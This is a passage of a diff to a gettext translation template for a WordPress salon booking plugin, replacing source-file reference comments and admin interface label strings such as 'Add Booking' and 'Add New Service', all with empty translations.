System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:170\n+msgid \"Add assistant\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:62, views\u002Fmetabox\u002F_attendant_availability_row.php:161, views\u002Fmetabox\u002F_booking_services.php:61, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:62, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:161, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:61, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:62, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:161, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:161, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:161, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:161, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:61\n-msgid \"Select a resource\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:674\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:674\n+msgid \"Add Booking\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:63, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:63, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:63\n-msgid \"Type service name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fcustomers.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcustomers.php:7\n+msgid \"Add Customer\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:64, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:64, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:64, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:64\n-msgid \"Type assistant name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:238\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:238\n+msgid \"Add Discount\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:65, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:65, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:65\n-msgid \"Type resource name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rules.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rules.php:48\n+msgid \"Add exclusion rule\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:66, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:66, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:66\n-msgid \"Type discount name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:206\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:206\n+msgid \"Add Field\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:67, views\u002Fmetabox\u002F_booking_services.php:362, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:67, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:362, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:67, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:362, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:362, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:362, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:362\n-msgid \"Add a service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:39\n+msgid \"Add new\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:68, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:68, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:68, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:68\n-msgid \"Please add services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:251\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:251\n+msgid \"Add New Assistant\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:69, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:69, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:69, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:69, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:69, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:69\n-msgid \"Select existing client\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:675\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:675\n+msgid \"Add New Booking\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:70, src\u002FSLN\u002FMetabox\u002FBooking.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:70, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:70, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:32\n-msgid \"Booking details\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:40\n+msgid \"Add new booking rule\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:71, src\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:89, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:71, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:71, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:71, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:96, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:89, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:89\n-msgid \"Total\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:239\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:239\n+msgid \"Add New Discount\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:72, views\u002Fmetabox\u002Fbooking.php:652, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:72, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:652, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:72, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:652, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:537, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:646, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:652\n-msgid \"Transaction ID\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:213\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:213\n+msgid \"Add New Resource\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:73, views\u002Fadmin\u002F_calendar_render_day.php:135, views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:414, views\u002Fmetabox\u002Fbooking.php:725, src\u002FSLB_Discount\u002FPostType\u002FDiscount.php:161, views\u002Fdiscount\u002Fshortcode\u002F_salon_summary_before_total_amount.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:73, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:135, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:414, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:725, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:161, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_before_total_amount.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:73, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:135, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:414, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:725, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:387, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:608, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:387, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:724, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:414, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:725, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:161, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_before_total_amount.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:161, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_before_total_amount.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:161, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_before_total_amount.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:161, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_before_total_amount.php:16\n-msgid \"Discount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:160\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:160\n+msgid \"Add new rule\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:74, views\u002Fadmin\u002F_calendar_render_day.php:139, views\u002Fmetabox\u002Fbooking.php:667, views\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:90, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:74, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:139, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:667, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:90, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:74, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:139, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:667, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:139, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:553, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:139, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:661, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:139, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:667, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:90\n-msgid \"Deposit\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:257\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:257\n+msgid \"Add New Service\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:75, views\u002Fadmin\u002F_calendar_render_day.php:143, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:75, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:143, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:75, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:143\n-msgid \"Due\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 